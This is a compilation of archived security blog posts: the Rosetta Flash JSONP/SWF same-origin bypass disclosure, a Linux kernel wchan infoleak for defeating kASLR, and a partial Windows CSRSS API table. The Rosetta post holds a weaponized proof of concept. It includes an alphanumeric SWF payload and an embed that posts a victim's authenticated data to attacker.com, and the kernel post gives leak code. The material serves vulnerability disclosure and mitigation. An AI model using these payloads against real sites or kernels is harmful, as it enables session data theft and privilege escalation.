even long after the attackers have left, if the system has not been rebooted.

The actual DLL loading process used by the user land payload stage is
intriguing in itself and we have not yet directly analyzed it, except for the
wiping mechanism. That one can be saved for another day.

  

# Abusing JSONP with Rosetta Flash

**Created:**| _8/5/2014 9:51:40 AM_  
---|---  
**Updated:**| _8/5/2014 9:51:40 AM_  
**Author:**| __  
**Tags:**| _Flash Exploit_  
  

# Abusing JSONP with Rosetta Flash

Vote on HN  
  
Tweet

written on Tuesday, July 8, 2014

<img src='img/Temp2_445.png' alt='Rosetta Flash logo' />

In this blog post I present **Rosetta Flash** , a tool for **converting any
SWF file** to one composed of **only alphanumeric characters** in order to
**abuse JSONP endpoints** , making a victim perform arbitrary requests to the
domain with the vulnerable endpoint and **exfiltrate potentially sensitive
data** , not limited to JSONP responses, to an attacker-controlled site. This
is a **CSRF bypassing Same Origin Policy**.

High profile **Google** domains \(`accounts.google.com`, `www.`, `books.`,
`maps.`, etc.\) and **YouTube** were vulnerable and have been recently fixed.
**Twitter** , **LinkedIn** , **Yahoo\!** , **eBay** , **Mail.ru** , **Flickr**
, **Baidu** , **Instagram** , **Tumblr** and **Olark** still have vulnerable
JSONP endpoints at the time of writing this blog post \(but **Adobe pushed a
fix in the latest Flash Player** , see paragraph _Mitigations and fix_\).

**Update** : Kudos to **Twitter Security** for being so responsive over the
weekend, engaged and interested. They have fixed this on their end too. But
they admitted I ruined their weekend **:P** .

**Update 2014-07-09 02:00 AM CEST** : Kudos to **Tumblr Security** for fixing
too\!

**Update 2014-07-09 04:57 AM CEST** : Kudos to **Olark Security** for fixing\!

**Update 2014-07-09 07:18 PM CEST** : Kudos to **Facebook Security** for
fixing in **Instagram**\!

**Update 2014-07-17** : **eBay** fixed.

**Update 2014-07-18** : An **Internet Bug Bounty** was awarded by
**HackerOne** for this vulnerability\!

**Update 2014-08-04** : Rosetta Flash has been nominated for a Pwnie Award.

This is a _well known issue_ in the infosec community, but so far no public
tools for generating arbitrary _ASCII-only_ , or, even better, _alphanum only_
, valid SWF files have been presented. This led websites owners and even big
players in the industry to postpone any mitigation until a credible proof of
concept was provided.

So, that moment has come **:\)** .

I will present this vulnerability at Hack In The Box: Malaysia this October,
and the Rosetta Flash technology will be featured in the next PoC||GTFO
release.

A **CVE identifier** has been assigned: CVE-2014-4671.

## Slides

If you prefer, you can discover the beauty of Rosetta with a set of
comprehensive slides.

## The attack scenario

To better understand the **attack scenario** it is important to take into
account the combination of three factors:

  1. With Flash, **a SWF file can perform cookie-carrying GET and POST requests to the domain that hosts it** , with no `crossdomain.xml` check. This is why allowing users to upload a SWF file on a sensitive domain is dangerous: by uploading a carefully crafted SWF, an attacker can make the victim perform requests that have side effects and exfiltrate sensitive data to an external, attacker-controlled, domain.
  2. **JSONP** , by design, **allows an attacker to control the first bytes of the output** of an endpoint by specifying the `callback` parameter in the request URL. Since most JSONP callbacks **restrict the allowed charset** to `[a-zA-Z]`, `_` and `.`, my tool focuses on this very restrictive charset, but it is general enough to work with different user-specified allowed charsets.
  3. SWF files can be **embedded** on an attacker-controlled domain using a Content-Type forcing `<object>` tag, and **will be executed as Flash** as long as the content looks like a valid Flash file.

Rosetta Flash leverages **zlib** , **Huffman encoding** and **ADLER32 checksum
bruteforcing** to convert any SWF file to another one composed of only
alphanumeric characters, so that it can be passed as a JSONP callback and then
reflected by the endpoint, effectively hosting the Flash file on the
vulnerable domain.

In the Rosetta Flash GitHub repository I provide ready-to-be-pasted,
universal, weaponized **full featured proofs of concept** with ActionScript
sources.

**But how does Rosetta Flash really work?**

## A bit more on Rosetta Flash

<img src='img/Temp2_450.png' alt='Rosetta Flash takes in input an ordinary
binary SWF and returns an equivalent one compressed with zlib such that it is
composed of alphanumeric characters only.' />

Rosetta Flash takes in input an ordinary binary SWF and returns an equivalent
one compressed with zlib such that it is composed of alphanumeric characters
only.

Rosetta Flash uses **ad-hoc Huffman encoders** in order to map non-allowed
bytes to allowed ones. Naturally, since we are mapping a wider charset to a
more restrictive one, this is not a real compression, but an inflation: we are
effectively **using Huffman as a Rosetta stone**.

A Flash file can be either **uncompressed** \(magic bytes `FWS`\), **zlib-
compressed** \(magic bytes `CWS`\) or **LZMA-compressed** \(magic bytes
`ZWS`\).

<img src='img/Temp2_444.png' alt='SWF header formats.' />

SWF header formats.

Furthermore, **Flash parsers are very liberal** , and tend to **ignore invalid
fields**. This is very good for us, because we can force it to the characters
we prefer.

<img src='img/Temp2_454.png' alt='Flash parsers are liberal.' />

Flash parsers are liberal.

### zlib header hacking

We need to make sure that the **first two bytes** of the zlib stream, which is
basically a wrapper over DEFLATE, are OK.

Here is how I did that:

<img src='img/Temp2_453.png' alt='zlib header hacking.' />

Hacking the first byte of the zlib header.

<img src='img/Temp2_447.png' alt='zlib header hacking.' />

Hacking the second byte of the zlib header.

There aren't many allowed two-bytes sequences for `CMF` \(Compression Method
and flags\) + `CINFO` \(malleable\) + `FLG` \(including a check bit for `CMF`
and `FLG` that has to match, preset dictionary \(not present\), compression
level \(ignored\)\).

`0x68 0x43 = hC` is allowed and Rosetta Flash always uses this particular
sequence.

### ADLER32 checksum bruteforcing

As you can see from the SWF header format, the checksum is the trailing part
of the zlib stream included in the compressed SWF in output, so it also needs
to be alphanumeric. Rosetta Flash appends bytes in a _clever_ way to get an
**ADLER32 checksum** of the original uncompressed SWF that is made of just
`[a-zA-Z0-9_\.]` characters.

An **ADLER32 checksum** is composed of two 4-bytes rolling sums, **S1** and
**S2** , concatenated:

<img src='img/Temp2_449.png' alt='ADLER32 checksum.' />

ADLER32 checksum.

For our purposes, both S1 and S2 must have a byte representation that is
allowed \(i.e., all alphanumeric\). The question is: how to find an allowed
checksum by manipulating the original uncompressed SWF? Luckily, the SWF file
format allows to **append arbitrary bytes** at the end of the original SWF
file: they are ignored. This is gold for us.

But what is a _clever_ way to append bytes? I call my approach _Sleds + Deltas
technique_ :

<img src='img/Temp2_451.png' alt='ADLER32 checksum manipulation.' />

ADLER32 checksum manipulation.

Basically, we can keep adding a high byte sled \(of `fe`, because `ff` doesn't
play so nicely with the Huffman part we'll roll out later\) until there is a
single byte we can add to make S1 modulo-overflow and become the minimum
allowed byte representation, and then we add that delta.

Now we have a valid S1, and we want to keep it fixed. So we add a NULL bytes
sled until S2 modulo-overflows, and we also get a valid S2.

### Huffman magic

Once we have an uncompressed SWF with an alphanumeric checksum and a valid
alphanumeric zlib header, it's time to create dynamic Huffman codes that
translate everything to `[a-zA-Z0-9_\.]` characters. This is currently done
with a pretty raw but effective approach that has to be optimized in order to
work effectively for larger files. Twist: also the representation of tables,
to be embedded in the file, has to satisfy the same charset constraints.

<img src='img/Temp2_446.png' alt='DEFLATE block format.' />

DEFLATE block format.

We use two different hand-crafted Huffman encoders that make minimum effort in
being efficient, but focus on byte alignment and offsets to get bytes to fall
into the allowed charset. In order to reduce the inevitable inflation in size,
repeat codes \(code `16`, mapped to `00`\) are used to produce shorter output
which is still alphanumeric.

For more detail, feel free to browse the source code in the Rosetta Flash
GitHub repository.

Here is how the output file looks, bit-by-bit:

<img src='img/Temp2_448.png' alt='Rosetta Flash output bit-by-bit.' />

Rosetta Flash output bit-by-bit.

### Wrapping up the output file

We now have everything we need:

<img src='img/Temp2_452.png' alt='Success! Here is a completely alphanumeric
SWF file!' />

Success\! Here is a completely alphanumeric SWF file\!

Please enjoy an alphanumeric rickroll, also with lyrics\! \(_might no longer
work in latest Flash Player, see paragraph Mitigations and fix_\)

## An universal, weaponized proof of concept

Here is an example written in ActionScript 2 \(for the mtasc open source
compiler\):

[code]

    class  
    
        static    
    
        function  
             _root 
                 LoadVars   LoadVars
                onData  functionString 
                     _rootexfiltrate 
                         LoadVars   LoadVars
                          
                        sendAndLoad_rootexfiltrate  "POST"
                    
                
                _root  "GET"
            
        
    
        // entry point
        static function  
               
        
    
    
[/code]

We compile it to an uncompressed SWF file, and feed it to Rosetta Flash.

The alphanumeric output \(wrapped, remove _newlines_\) is:

[code]

    CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03
    sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnU
    U5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33
    swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsg
    SkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133
    333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33
    333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMH
    bBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnn
    nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0G
    DtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAw
    XHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHt
    HHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnn
    nnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFP
    DHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7C
    iudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoD
    HDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciu
    dIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXt
    hHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhH
    HvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNq
    dIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooo
    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    oooooooooooooooooooooooooooooooo888888880Nj0h
    
[/code]

The attacker has to simply host this HTML page on his/her domain, together
with a `crossdomain.xml` file in the root that allows external connections
from victims, and make the victim load it.

[code]

    <object type="application/x-shockwave-flash"
    data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZUnnnnnnnn
    nnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3ww
    wFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV133
    33333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt3
    3333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnn
    nnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtw
    EpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzA
    HZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEm
    IVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7Ciud
    IbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZO
    XHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgb
    HHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLT
    MwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG
    33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUn
    nnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD
    33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTHNo4D0Up0IZUnnnnn
    nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDww
    Gw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyM
    IuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnn
    nnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooo
    ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    ooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h"
    style="display: none"
      <param name="FlashVars"
       value="url=https://vulnerable.com/account/sensitive_content_logged_in
       &exfiltrate=http://attacker.com/log.php"
    </object>
    
[/code]

This universal proof of concept accepts two parameters passed as FlashVars:

  * `url` — the **URL in the same domain** of the vulnerable endpoint to which **perform a GET request with the victim's cookie**.
  * `exfiltrate` — the **attacker-controlled URL** to which **POST** a `x` variable with the **exfiltrated data**.

## Mitigations and fix

### Mitigations by Adobe

Because of the **sensitivity** of this vulnerability, I first disclosed it
internally in **Google** , and then privately to **Adobe PSIRT**. A few days
before releasing the code and publishing this blog post, I also notified
Twitter, eBay, Tumblr and Instagram.

**Adobe** confirmed they **pushed a tentative fix** in Flash Player 14 beta
codename Lombard \(version 14.0.0.125, release notes\) and **finalized the fix
in today's release** \(version 14.0.0.145, released on July 8, 2014\).

In the security bulletin APSB14-17, Adobe mentions a stricter verification of
the SWF file format:

> These updates include additional validation checks to ensure that Flash
> Player rejects malicious content from vulnerable JSONP callback APIs
> \(CVE-2014-4671\).
### Mitigations by website owners

First of all, it is important to **avoid using JSONP on sensitive domains** ,
and if possible **use a dedicated sandbox domain**.

A mitigation is to make endpoints return the **HTTP header** `Content-
Disposition: attachment; filename=f.txt`, forcing a file download. This is
enough for instructing Flash Player not to run the SWF starting from Adobe
Flash 10.2.

To be also protected from content sniffing attacks, **prepend the reflected
callback** with . This is exactly what Google, Facebook and GitHub are
currently doing.

Furthermore, to hinder this attack vector in most modern browsers you can also
**return the HTTP header** `X-Content-Type-Options: nosniff`. If the JSONP
endpoint returns a Content-Type which is not `application/x-shockwave-flash`
\(usually `application/javascript` or `application/json`\), Flash Player will
_refuse_ to execute the SWF.

### Update - Acknowledgment and reception

Thanks to **Gábor Molnár** , who worked on ascii-zip, source of inspiration
for the Huffman part of Rosetta. I learn talking with him in private that we
worked independently on the same problem. He privately came up with an
instance of a _probabilistic Rosetta Flash_ and was able to generate an ASCII
SWF approximately one month before I finished coding Rosetta Flash internally
at Google. So, kudos to him too\!

The famous web development framework **Ruby on Rails** addressed this
vulnerability in this pull request by prepending a comment to JSONP responses.
More than 600,000 websites will be soon automatically protected, and this
proves once again that going public with advisories is good for protecting the
end user.

Rapid7 incorporated the exfiltrating PoC in an official Metasploit module.

Rosetta Flash has been nominated for a Pwnie Award.

An Internet Bug Bounty was awarded for this vulnerability.

Tags: adobe, flash, jsonp, rosetta flash, security, vulnerability and writeup

# Exploiting a Linux Kernel Infoleak to bypass Linux kASLR

**Created:**| _1/25/2016 3:02:36 PM_  
---|---  
**Updated:**| _1/25/2016 3:02:36 PM_  
**Author:**| __  
**Tags:**| __  
  

# Exploiting a Linux Kernel Infoleak to bypass Linux kASLR

Jan 24, 2016

## Preliminary note

This has been patched here so there should be no problem talking about it:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328

Also kASLR is not enabled yet by default on popular distribution as far as I
know.

I hope that in the recent future it will become mainstream, and much stronger,
both on Linux distros and Android devices, since it makes kernel exploitation
likely to require also a infoleak, and the other popular mainstream OS like
Windows or OS X/iOS are already adopting it, why Linux is always lagging
behind?

ASLR anyway it’s not the holy grail of security, as we will see in the post,
it can be bypassed even with a simple leak. You can read this post by spender
on the topic and some thoughts about the limitations.

I saw several time @grsecurity mentioning a similar vulnerability on Twitter,
so it was most likely very well known also by other people before me. But
unfortunately, the Linux kernel community attitude towards Security is not the
best one, so infoleaks are probably getting very low attention, if any.

Time ago while reading on /proc filesystem for Android, the `wchan` field
caught my attention:

[code]

    WCHAN
    
    wait channel. The address of an event on which a particular process is waiting.
    Abbreviation appears in output of ps command with -l option.
[/code]

You can peek into a process `wchan` value from userspace reading into
`/proc/pid_of_interest/stat`.

So this `wchan` value will return the address of where our program is
“waiting”. That’s pretty vague. What about if our process is in kernel space,
will it return us a kernel address?

The answer is yes, as you can see here:

[code]

    marco@marco-l:~/Documents$ cat /proc/2755/stat
    2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0
[/code]

The value `18446744071579755915` it’s obviously a kernel code location since
in hex is:

[code]

    >>> 18446744071579755915
    '0xffffffff810de58bL'
[/code]

kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to
add a “kaslr” to the kernel command line to enable it, you can find how to add
stuff into the kernel command line on Google.

After we have booted the system, we can run our PoC:

[code]

    marco@marco-l:~/Documents$ python infoleak.py 
    Leaking kernel pointers...
    leak: 0xffffffffb70de58b 18446744072485725579
    kASLR slide: 0x36000000
[/code]

#### How does it works?

The PoC is very simple, dirty and quick, and in python since we just need to
fork and read stuff. Like we said before, in /proc/pid/stat the wchan will
tell us where the code is waiting in kernel space so we can:

  1. Find a way to make stable this “wait” location
  2. Leak the ASLR’d value via the wchan
  3. Diff this leaked value with a known non slided value
  4. Output the kernel slide

For `(1)` we can leverage that if we fork a process and make it sleep, we can
both read his `/proc/sleeping-pid/stat` and it will be a stable value, since
that process will be stuck to sleep in kernel space, waiting to be rescheduled
when his sleep is finished.

`(2)` was already covered how to do it, it’s one of the fields in the stat at
a known position.

`(3)` we can get the non slid value by running the kernel without kASLR
enabled on our test machine.

You will have to edit the `NON_SLID_VALUE` by running the PoC on your target
kernel with kASLR disabled, putting the hex value that you get in `leak:
0xffffffffb70de58b`.

[code]

    import subprocess
    import 
    import 
    
    import pprint
    
    PROC_PATH  "/proc//stat"
    
    NON_SLID_VALUE  0xffffffff810de58b
    
     
        sleepp  subprocessPopen'sleep 100000'split
    
        sleep
    
        child_pid  sleepp
    
        content  
         PROC_PATH child_pid   
            content  
        
          content
            print 'Unable to read stat from child'
            
    
        elements  contentsplit
    
        print 'Leaking kernel pointers...'
    
          elements
    
        print 'leak: 0x  
    
        print 'kASLR slide: 0x   NON_SLID_VALUE
    
    
     __name__  '__main__'
        
[/code]

## Final Note

Feel free to contact me if there is any error/mistake/question or suggestion.
The bug nowadays since kASLR is not enabled by default was not really useful
so I didn’t spend much time and efforts verifying everything and check the
kernel code.

The kASLR slide seems quite weak in terms of randomization, I haven’t checked
how much bits, but it’s better than nothing if we can get this on our Android
devices, it’s a start. :\)

#### Take aways:

  * The Linux kernel maintainers should show a more friendly attitude to the security community, at the end we all like and use Linux, and we would both like to make it even better.

# Windows CSRSS API Function Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _9/10/2010 9:43:35 AM_  
---|---  
**Updated:**| _9/10/2010 9:43:35 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

# Windows CSRSS API Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, Alex, Edi Strosar

  
  
BaseServerApiDispatchTable  
---  
Server API Name | WINDOWS\_NT4 | WINDOWS\_2000 | WINDOWS\_XP | WINDOWS\_SERVER\_2003 | WINDOWS\_VISTA | WINDOWS\_SERVER\_2008 | WINDOWS\_7\_RC  
BaseSrvAppHelpQueryModuleData |   |   |   |   |   |   |    
BaseSrvBatNotification |   |   |   |   |   |   |    
BaseSrvCheckVDM |   |   |   |   |   |   |    
BaseSrvCreateActivationContext |   |   |   |   |   |   |    
BaseSrvCreateProcess |   |   |   |   |   |   |    
BaseSrvCreateThread |   |   |   |   |   |   |    
BaseSrvDeadEntry |   |   |   |   |   |   |    
BaseSrvDebugProcess |   |   |   |   |   |   |    
BaseSrvDeferredCreateProcess |   |   |   |   |   |   |    
BaseSrvDefineDosDevice |   |   |   |   |   |   |    
BaseSrvExitProcess |   |   |   |   |   |   |    
BaseSrvExitVDM |   |   |   |   |   |   |    
BaseSrvGetNextVDMCommand |   |   |   |   |   |   |    
BaseSrvGetProcessShutdownParam |   |   |   |   |   |   |    
BaseSrvGetTempFile |   |   |   |   |   |   |    
BaseSrvGetVDMCurDirs |   |   |   |   |   |   |    
BaseSrvGetVDMExitCode |   |   |   |   |   |   |    
BaseSrvIsFirstVDM |   |   |   |   |   |   |    
BaseSrvNlsCreateSection |   |   |   |   |   |   |    
BaseSrvNlsCreateSortSection |   |   |   |   |   |   |    
BaseSrvNlsGetUserInfo |   |   |   |   |   |   |    
BaseSrvNlsPreserveSection |   |   |   |   |   |   |    
BaseSrvNlsSetMultipleUserInfo |   |   |   |   |   |   |    
BaseSrvNlsSetUserInfo |   |   |   |   |   |   |    
BaseSrvNlsUpdateCacheCount |   |   |   |   |   |   |    
BaseSrvRefreshIniFileMapping |   |   |   |   |   |   |    
BaseSrvRegisterThread |   |   |   |   |   |   |    
BaseSrvRegisterWowExec |   |   |   |   |   |   |    
BaseSrvSetProcessShutdownParam |   |   |   |   |   |   |    
BaseSrvSetReenterCount |   |   |   |   |   |   |    
BaseSrvSetTermsrvAppInstallMode |   |   |   |   |   |   |    
BaseSrvSetTermsrvClientTimeZone |   |   |   |   |   |   |    
BaseSrvSetVDMCurDirs |   |   |   |   |   |   |    
BaseSrvSoundSentryNotification |   |   |   |   |   |   |    
BaseSrvSxsCreateActivationContext |   |   |   |   |   |   |    
BaseSrvUpdateVDMEntry |   |   |   |   |   |   |    
  
  
  
ConsoleServerApiDispatchTable  
---  
Server API Name | WINDOWS\_NT4 | WINDOWS\_2000 | WINDOWS\_XP | WINDOWS\_SERVER\_2003 | WINDOWS\_VISTA | WINDOWS\_SERVER\_2008 | WINDOWS\_7\_RC  
SrvAddConsoleAlias |   |   |   |   |   |   |    
SrvAllocConsole |   |   |   |   |   |   |    
SrvAttachConsole |   |   |   |   |   |   |    
SrvCloseHandle |   |   |   |   |   |   |    
SrvConsoleClientConnect |   |   |   |   |   |   |    
SrvConsoleMenuControl |   |   |   |   |   |   |    
SrvConsoleNotifyLastClose |   |   |   |   |   |   |    
SrvCreateConsoleScreenBuffer |   |   |   |   |   |   |    
SrvDuplicateHandle |   |   |   |   |   |   |    
SrvExpungeConsoleCommandHistory |   |   |   |   |   |   |    
SrvFillConsoleOutput |   |   |   |   |   |   |    
SrvFlushConsoleInputBuffer |   |   |   |   |   |   |    
SrvFreeConsole |   |   |   |   |   |   |    
SrvGenerateConsoleCtrlEvent |   |   |   |   |   |   |    
SrvGetConsoleAlias |   |   |   |   |   |   |    
SrvGetConsoleAliasExes |   |   |   |   |   |   |    
SrvGetConsoleAliasExesLength |   |   |   |   |   |   |    
SrvGetConsoleAliases |   |   |   |   |   |   |    
SrvGetConsoleAliasesLength |   |   |   |   |   |   |    
SrvGetConsoleCP |   |   |   |   |   |   |    
SrvGetConsoleCharType |   |   |   |   |   |   |    
SrvGetConsoleCommandHistory |   |   |   |   |   |   |    
SrvGetConsoleCommandHistoryLength |   |   |   |   |   |   |    
SrvGetConsoleCurrentFont |   |   |   |   |   |   |    
SrvGetConsoleCursorInfo |   |   |   |   |   |   |    
SrvGetConsoleCursorMode |   |   |   |   |   |   |    
SrvGetConsoleDisplayMode |   |   |   |   |   |   |    
SrvGetConsoleFontInfo |   |   |   |   |   |   |    
SrvGetConsoleFontSize |   |   |   |   |   |   |    
SrvGetConsoleHardwareState |   |   |   |   |   |   |    
SrvGetConsoleHistory |   |   |   |   |   |   |    
SrvGetConsoleInput |   |   |   |   |   |   |    
SrvGetConsoleKeyboardLayoutName |   |   |   |   |   |   |    
SrvGetConsoleLangId |   |   |   |   |   |   |    
SrvGetConsoleMode |   |   |   |   |   |   |    
SrvGetConsoleMouseInfo |   |   |   |   |   |   |    
SrvGetConsoleNlsMode |   |   |   |   |   |   |    
SrvGetConsoleNumberOfFonts |   |   |   |   |   |   |    
SrvGetConsoleNumberOfInputEvents |   |   |   |   |   |   |    
SrvGetConsoleProcessList |   |   |   |   |   |   |    
SrvGetConsoleScreenBufferInfo |   |   |   |   |   |   |    
SrvGetConsoleSelectionInfo |   |   |   |   |   |   |    
SrvGetConsoleTitle |   |   |   |   |   |   |    
SrvGetConsoleWindow |   |   |   |   |   |   |    
SrvGetHandleInformation |   |   |   |   |   |   |    
SrvGetLargestConsoleWindowSize |   |   |   |   |   |   |    
SrvInvalidateBitMapRect |   |   |   |   |   |   |    
SrvOpenConsole |   |   |   |   |   |   |    
SrvQueryConsoleIME |   |   |   |   |   |   |    
SrvReadConsole |   |   |   |   |   |   |    
SrvReadConsoleOutput |   |   |   |   |   |   |    
SrvReadConsoleOutputString |   |   |   |   |   |   |    
SrvRegisterConsoleIME |   |   |   |   |   |   |    
SrvRegisterConsoleOS2 |   |   |   |   |   |   |    
SrvRegisterConsoleVDM |   |   |   |   |   |   |    
SrvScrollConsoleScreenBuffer |   |   |   |   |   |   |    
SrvSetConsoleActiveScreenBuffer |   |   |   |   |   |   |    
SrvSetConsoleCP |   |   |   |   |   |   |    
SrvSetConsoleCommandHistoryMode |   |   |   |   |   |   |    
SrvSetConsoleCurrentFont |   |   |   |   |   |   |    
SrvSetConsoleCursor |   |   |   |   |   |   |    
SrvSetConsoleCursorInfo |   |   |   |   |   |   |    
SrvSetConsoleCursorMode |   |   |   |   |   |   |    
SrvSetConsoleCursorPosition |   |   |   |   |   |   |    
SrvSetConsoleDisplayMode |   |   |   |   |   |   |    
SrvSetConsoleFont |   |   |   |   |   |   |    
SrvSetConsoleHardwareState |   |   |   |   |   |   |    
SrvSetConsoleHistory |   |   |   |   |   |   |    
SrvSetConsoleIcon |   |   |   |   |   |   |    
SrvSetConsoleKeyShortcuts |   |   |   |   |   |   |    
SrvSetConsoleLocalEUDC |   |   |   |   |   |   |    
SrvSetConsoleMenuClose |   |   |   |   |   |   |    
SrvSetConsoleMode |   |   |   |   |   |   |    
SrvSetConsoleNlsMode |   |   |   |   |   |   |    
SrvSetConsoleNumberOfCommands |   |   |   |   |   |   |    
SrvSetConsoleOS2OemFormat |   |   |   |   |   |   |    
SrvSetConsolePalette |   |   |   |   |   |   |    
SrvSetConsoleScreenBufferSize |   |   |   |   |   |   |    
SrvSetConsoleTextAttribute |   |   |   |   |   |   |    
SrvSetConsoleTitle |   |   |   |   |   |   |    
SrvSetConsoleWindowInfo |   |   |   |   |   |   |    
SrvSetHandleInformation |   |   |   |   |   |   |    
SrvSetScreenBufferInfo |   |   |   |   |   |   |    
SrvShowConsoleCursor |   |   |   |   |   |   |    
SrvUnregisterConsoleIME |   |   |   |   |   |   |    
SrvVDMConsoleOperation |   |   |   |   |   |   |    
SrvVerifyConsoleIoHandle |   |   |   |   |   |   |    
SrvWriteConsole |   |   |   |   |   |   |    
SrvWriteConsoleInput |   |   |   |   |   |   |    
SrvWriteConsoleOutput |   |   |   |   |   |   |    
SrvWriteConsoleOutputString |   |   |   |   |   |   |    
  
  
  
CsrServerApiDispatchTable  
---  
Server API Name | WINDOWS\_NT4 | WINDOWS\_2000 | WINDOWS\_XP | WINDOWS\_SERVER\_2003 | WINDOWS\_VISTA | WINDOWS\_SERVER\_2008 | WINDOWS\_7\_RC  
CsrSrvClientConnect |   |   |   |   |   |   |    
CsrSrvIdentifyAlertableThread |   |   |   |   |   |   |    
CsrSrvNullApiCall |   |   |   |   |   |   |    
CsrSrvProfileControl |   |   |   |   |   |   |    
CsrSrvSetPriorityClass |   |   |   |   |   |   |    
CsrSrvUnusedFunction |   |   |   |   |   |   |    
  
  
  
UserServerApiDispatchTable  
---  
Server API Name | WINDOWS\_NT4 | WINDOWS\_2000 | WINDOWS\_XP | WINDOWS\_SERVER\_2003 | WINDOWS\_VISTA | WINDOWS\_SERVER\_2008 | WINDOWS\_7\_RC  
SrvActivateDebugger |   |   |   |   |   |   |    
SrvCancelShutdown |   |   |   |   |   |   |    
SrvConsoleHandleOperation |   |   |   |   |   |   |    
SrvCreateSystemThreads |   |   |   |   |   |   |    
